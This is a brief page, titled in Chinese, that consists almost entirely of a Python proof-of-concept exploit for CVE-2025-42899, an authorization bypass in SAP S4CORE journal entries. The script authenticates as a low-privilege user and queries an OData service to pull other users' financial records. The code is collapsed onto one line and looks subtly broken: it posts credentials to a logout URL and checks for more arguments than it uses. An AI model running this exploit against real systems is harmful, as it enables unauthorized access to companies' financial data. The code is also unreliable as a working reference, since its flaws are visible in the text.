CVE-2025-42899: SAP S4CORE 权限提升漏洞

# CVE-2025-42899 PoC - SAP S4CORE Authorization Bypass # Description: SAP S4CORE Manage Journal Entries authorization check bypass # This PoC demonstrates how low-privilege users can access unauthorized journal entries import requests import sys def exploit_sap_auth_bypass(target_url, username, password): """ Exploit SAP S4CORE authorization bypass vulnerability """ print(f"[*] Targeting: {target_url}") print(f"[*] Authenticating as: {username}") # Step 1: Authenticate with low-privilege account session = requests.Session() auth_data = { 'j_username': username, 'j_password': password } # Note: Adjust authentication endpoint based on SAP version login_url = f"{target_url}/sap/public/icf_logout" response = session.post(login_url, data=auth_data, verify=False) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Access journal entries with manipulated parameters # Attempt to access journal entries belonging to other users journal_url = f"{target_url}/sap/opu/odata/sap/FBIP_JOURNAL_ENTRY_SRV/JournalEntrySet" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/json' } # Try accessing all journal entries without proper authorization params = { '$filter': "Ledger eq 'ALL'", '$top': '100' } print("[*] Attempting to access unauthorized journal entries...") response = session.get(journal_url, headers=headers, params=params) if response.status_code == 200: data = response.json() if 'd' in data and 'results' in data['d']: print(f"[+] Successfully accessed {len(data['d']['results'])} journal entries") print("[+] Authorization bypass confirmed - low privilege user accessed privileged data") return True print("[-] Access denied or unexpected response") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2025_42899_poc.py <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_sap_auth_bypass(target, user, pwd)